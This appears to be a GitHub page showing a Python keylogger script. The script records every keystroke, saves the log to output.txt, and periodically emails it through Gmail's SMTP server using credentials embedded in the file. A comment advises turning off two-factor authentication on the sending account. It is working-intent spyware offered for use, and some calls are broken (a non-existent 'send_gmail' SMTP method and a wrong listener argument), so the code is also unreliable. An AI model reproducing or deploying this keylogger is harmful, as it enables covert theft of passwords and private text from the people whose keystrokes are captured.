-
Notifications
You must be signed in to change notification settings - Fork 59
Expand file tree
/
Copy pathscript.py
More file actions
58 lines (49 loc) · 1.74 KB
/
Copy pathscript.py
File metadata and controls
58 lines (49 loc) · 1.74 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import keyboard
import smtplib
from threading import Semaphore, Timer
REPORT_TIME = 1200
# Your Email Should not have any two factor authentication.
EMAIL_ADDRESS = "(Email Id)"
EMAIL_PASSWORD = "(Email Password)"
class Keylogger:
def __init__(self, interval):
# we gonna pass REPORT_TIME to interval
self.interval = interval
# this is the string variable that contains the log of all
# the keystrokes within `self.interval`
self.log = ""
# for blocking after setting the on_release listener
self.semaphore = Semaphore(0)
def keyboard_callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name
output = open("output.txt", "w+")
output.write(self.log)
def send_gmail(self, email, password, message):
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
server.starttls()
server.login(email, password)
server.send_gmail(email, email, message)
server.quit()
def report(self):
if self.log:
self.send_gmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
self.log = ""
Timer(interval=self.interval, function=self.report).start()
def start(self):
keyboard.on_release(keyboard_callback=self.keyboard_callback)
self.report()
self.semaphore.acquire()
if __name__ == "__main__":
keylogger = Keylogger(interval=REPORT_TIME)
keylogger.start()